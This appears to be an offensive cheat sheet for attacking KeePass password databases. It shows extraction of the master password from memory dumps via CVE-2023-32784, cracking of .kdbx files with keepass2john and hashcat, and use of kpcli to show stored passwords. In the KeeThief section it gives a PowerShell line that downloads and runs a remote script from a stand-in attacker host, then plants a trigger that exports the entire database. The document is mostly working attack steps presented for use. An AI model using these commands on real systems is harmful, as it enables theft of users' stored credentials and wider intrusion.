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KeePass Attacks

CVE-2023-32784 - Memory Dump Master Password Extraction

Affects: KeePass 2.x before 2.54

Extract master password from KeePass memory dump or crash dump file (.dmp).

Tools

# Rust version (fast)
git clone https://github.com/JorianWoltjer/keepass-dump-extractor
cd keepass-dump-extractor && cargo build --release

# Python version
git clone https://github.com/matro7sh/keepass-dump-masterkey

Exploitation

# Extract password (may have first char missing)
./keepass-dump-extractor KeePassDumpFull.dmp

# Output shows partial password with bullets for unknown chars
●ødgrød med fløde

# Generate wordlist for missing first char
./keepass-dump-extractor -f all KeePassDumpFull.dmp > wordlist.txt

# Python version
python3 poc.py KeePassDumpFull.dmp

Cracking KeePass Database

# Convert .kdbx to hashcat format
keepass2john passcodes.kdbx > keepass.hash

# Remove filename prefix (passcodes:)
sed -i 's/^[^:]*://' keepass.hash

# Crack with recovered password wordlist
hashcat -m 13400 -a 0 keepass.hash wordlist.txt

# Or brute-force missing chars
hashcat -m 13400 -a 3 keepass.hash "?aødgrød?amed?afløde"

kpcli - KeePass CLI

Access KeePass database from command line.

# Install
apt install kpcli

# Open database
kpcli --kdb=passcodes.kdbx
# Enter master password when prompted

# Navigation
kpcli:/> ls                      # List groups
kpcli:/> cd passcodes/Network    # Change directory
kpcli:/> show -f 0               # Show entry with password (-f shows password)

Useful Commands

Command Description
ls List entries/groups
cd <group> Change to group
show <entry> Show entry (no password)
show -f <entry> Show entry with password
find <term> Search entries
quit Exit

KeeThief Config Trigger (Windows)

Dumps entire database when user logs into KeePass.

# Download
IEX (New-Object System.Net.WebClient).DownloadString('http://ATTACKER:8080/KeePassConfig.ps1')

# Add trigger
Add-KeePassConfigTrigger -Path $env:appdata\KeePass\KeePass.config.xml -Verbose -ExportPath C:\Windows\Tasks

Output CSV format:

"Account","Login Name","Password","Web Site","Comments"
"Admin Account","admin","P@ssw0rd","",""

Common KeePass Paths

Windows:

%APPDATA%\KeePass\
C:\Users\<user>\Documents\*.kdbx
C:\Users\<user>\Desktop\*.kdbx

Linux:

~/.keepass/
~/*.kdbx
find / -name "*.kdbx" 2>/dev/null

Memory dumps:

*.dmp
KeePassDumpFull.dmp